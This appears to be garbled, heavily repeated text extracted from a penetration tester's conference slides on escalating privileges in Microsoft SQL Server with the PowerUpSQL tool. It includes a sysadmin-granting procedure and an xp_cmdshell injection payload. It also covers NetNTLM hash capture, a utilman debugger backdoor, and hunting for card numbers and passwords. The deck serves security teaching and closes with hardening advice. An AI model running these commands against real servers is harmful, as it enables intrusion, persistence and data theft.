bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
